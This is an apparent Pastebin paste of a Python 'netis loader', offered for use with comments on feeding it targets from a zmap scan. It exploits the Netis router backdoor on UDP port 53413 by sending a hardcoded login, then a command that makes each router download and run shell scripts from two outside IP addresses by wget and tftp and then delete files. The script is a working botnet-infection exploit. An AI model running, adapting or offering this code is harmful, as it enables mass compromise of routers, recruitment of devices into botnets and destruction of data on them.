miraip0ts

Everything u need for Netis K1d0s

Jan 15th, 2017
1,578
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.42 KB | None | 0 0
  1. # This is How to Work Netis if u never knew how to scan lol
  2. # zmap -w whitelist.conf -M udp -p53413 -o bios.txt | python netis.py bios.txt
  3. # apt-get install zmap -y
  4. # Whitelist.conf file https://www.dropbox.com/s/ftdnkhoz4je06u1/whitelist.conf?dl=0
  5. #!/usr/bin/python
  6. # netis loader
  7. # L1ttle D1ck J1m
  8.  
  9. import threading, sys, time, random, socket, re, os
  10.  
  11. if len(sys.argv) < 2:
  12.         print "Usage: python "+sys.argv[0]+" <list>"
  13.         sys.exit()
  14.  
  15. loginpayload = "AAAAAAAAnetcore\x00"
  16. commandpayload = "AA\x00\x00AAAA cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://67.205.163.60/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 89.34.97.103 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 89.34.97.103; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh; rm -rf *"
  17. list = open(sys.argv[1], "r").readlines()
  18. offline = 0
  19. class netis(threading.Thread):
  20.         def __init__ (self, ip):
  21.             threading.Thread.__init__(self)
  22.             self.ip = str(ip).rstrip('\n')
  23.         def run(self):
  24.             s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  25.             try:
  26.                 print "\033[31m[\033[32m+\033[31m] \033[32mAttempting:\033[32m %s"%(self.ip)
  27.                 s.sendto(loginpayload, (self.ip, 53413))
  28.                 time.sleep(1.5)
  29.                 s.sendto(commandpayload, (self.ip, 53413))
  30.                 time.sleep(30)
  31.             except Exception:
  32.                 pass
  33. for ip in list:
  34.     try:
  35.         t = netis(ip)
  36.         t.start()
  37.         time.sleep(0.01)
  38.     except:
  39.         pass
Advertisement
Add Comment
Please, Sign In to add comment